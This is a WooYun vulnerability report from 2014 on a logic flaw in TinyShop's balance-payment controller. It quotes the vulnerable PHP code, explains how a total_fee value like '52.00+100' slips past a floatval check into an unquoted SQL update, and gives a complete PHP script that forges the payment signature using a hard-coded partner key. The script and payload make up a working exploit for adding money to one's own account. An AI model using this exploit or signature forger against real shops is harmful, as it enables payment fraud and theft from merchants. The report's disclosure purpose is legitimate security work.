当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075063

漏洞标题:Tinyshop继续刷钱#2

相关厂商:tinyrise.com

漏洞作者: magerx

提交时间:2014-09-09 11:59

修复时间:2014-12-05 12:00

公开时间:2014-12-05 12:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

再来一发,这次有点艰难。

详细说明:

protected/controllers/payment.php,36行

public function pay_balance(){

$sign = Req::post('sign');
$args = Req::post();
unset($args['sign']);
$total_fee = Req::post('total_fee');
$attach = Filter::int(Req::post('attach'));
$return['attach'] = Req::post('attach');
$return['total_fee'] = Req::post('total_fee');
$return['order_no'] = Req::post('order_no');
$return['return_url'] = Req::post('return_url');
if(stripos($return['order_no'],'recharge_') !== false)
{
$msg = array('type'=>'fail','msg'=>'余额支付方式,不能用于在线充值功能!');
$this->redirect('/index/msg',false,$msg);
exit;
}
if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确!');
$this->redirect('/index/msg',false,$msg);
}
else{
$payment = new Payment($attach);
$paymentInfo = $payment->getPayment();
$pay_balance = new pay_balance();
$filter_param = $pay_balance->filterParam($args);
//对待签名参数数组排序
$para_sort = $pay_balance->argSort($filter_param);

$mysign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);
if($mysign == $sign)
{
$user_id = $this->user['id'];
$model = new Model("customer");
$customer = $model->where("user_id=".$user_id)->find();
if($customer['balance']>=$total_fee){
$order = $model->table("order")->where("order_no='".Filter::sql($return['order_no'])."' and user_id=".$user_id)->find();
if($order){
if($order['pay_status']==0){
$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update();
$return['order_status'] = 'TINY_SECCESS';
//记录支付日志
Log::balance((0-$total_fee),$user_id,'通过余额支付方式进行商品购买,订单编号:'.$return['order_no']);
$filter_param = $pay_balance->filterParam($return);
$para_sort = $pay_balance->argSort($filter_param);
$sign = $pay_balance->buildSign($para_sort,$paymentInfo['partner_key']);
$prestr = $pay_balance->createLinkstring($para_sort);
$nextUrl = urldecode($return['return_url']);
if(stripos($nextUrl,'?') === false)
{
// $return_url = $nextUrl.'?'.$prestr;
}
else
{
//$return_url = $nextUrl.'&'.$prestr;
}
$return_url=$nextUrl;//.= '&sign='.$sign;
$return['sign'] = $sign;
//var_dump($return_url,$return,$prestr);exit();
$this->redirect("$return_url",true,$return);
//header('location:'.$return_url,true,$result);
exit;
}else{
$msg = array('type'=>'fail','msg'=>'订单已经处理过,请查看订单信息!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}else{
$msg = array('type'=>'fail','msg'=>'订单不存在!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}else{
$msg = array('type'=>'fail','msg'=>'余额不足,请选择其它支付方式!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}
else
{
$msg = array('type'=>'fail','msg'=>'签名错误!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}
}


首先定位到82行

$flag = $model->table("customer")->where("user_id=".$user_id)->data(array('balance'=>"`balance`-".$total_fee))->update();


看到$total_fee没有单引号觉着有戏,往上跟
$total_fee = Req::post('total_fee');
直接post过来的也没有做任何处理,继续往下走
56行:

if(floatval($return['total_fee']) <= 0 || $return['order_no'] == '' || $return['return_url'] == '')
{
$msg = array('type'=>'fail','msg'=>'支付参数不正确!');
$this->redirect('/index/msg',false,$msg);
}


$return['total_fee']也就是post来的,但是这里判断是否小于0,所以无法直接传负数的方式加钱了,但是注意到这里floatval操作,如果我们传入52+10000呢,floatval取到的是52,这样可以绕过这个判断了,继续往下看
73行:

if($mysign == $sign)


想要进入最开始那个update操作,需要满足一个条件:sign==mysign,上面一大堆的代码,其实主要关键是在$paymentInfo['partner_key'],这个参数是在数据库中存在,开始觉得希望不大了,因为一般这样的东西都不是固定的,抱着试一试的心理,在不同机器上安装tinyshop,发现partner_key居然一样,也就是

NDHGFIUWYY94223343534578MNB


这样下来只要我们还原mysign,并将他的值替换到sign中,我们就可以给自己加钱了,当然也可以注入,但是太麻烦了,每买一次商品,order_no都不一样,用来注入太麻烦。
同时要注意这里78行:

if($customer['balance']>=$total_fee){


由于是字符串比较所以想让payload通过这里,需要你的余额与payload之前比较是通过的:
比如下面测试的时候,我的余额是630,payload=52.00+100,这样两个字符串按位比较就可以通过了。

漏洞证明:

1.首先买一件商品到付款页面

tinyshop_q.jpg


2.截包获取的order_no放到写好的exp里面还原出对应的mysign并替换到sign
比如这里的order_no=20140904163119891372

tinyshop_w.jpg


还原算法:

<?php
function filterParam($para)
{
$filter_param = array();
foreach($para as $key => $val)
{
if($key == "sign" || $key == "sign_type" || $val == "")
{
continue;
}
else
{
$filter_param[$key] = $para[$key];
}
}
return $filter_param;
}
function argSort($para)
{
ksort($para);
reset($para);
return $para;
}
function createLinkstring($para){
$arg = "";
foreach($para as $key => $val){
$arg.=$key."=".$val."&";
}
//去掉最后一个&字符
$arg = trim($arg,'&');
//如果存在转义字符,那么去掉转义
if(get_magic_quotes_gpc()){
$arg = stripslashes($arg);
}
return $arg;
}

function buildSign($sort_para,$key,$sign_type = "MD5")
{
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
$mysgin = md5($prestr);
return $mysgin;
}
$order_no1 = $argv[1];
$args = array(
"attach" => "1",
"total_fee" => "52.00+100",
"order_no" => $order_no1,//"20140904152012468756",
"return_url" => "http://localhost/tinyshop/index.php?con=payment&act=callback&payment_id=1");
$filter_param = filterParam($args);
$para_sort = argSort($filter_param);
$sign = buildSign($para_sort,'NDHGFIUWYY94223343534578MNB');
echo $sign;
?>


total_fee 设置成你想要加的钱 比如total_fee=52.00+100

tinyshop_e.jpg


结果:

tinyshop_r.jpg


tinyshop_t.jpg


修复方案:

0.0

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-05 12:00

厂商回复:

最新状态:

2014-09-19:$sign 是由你后台添加时 预存款支付的 支付商户ID 支付商户密钥 及其它共同生成的,这均是用户自己填写设定的,你所谓的一样是因为你自己设置成一样的了,或者你都为空了。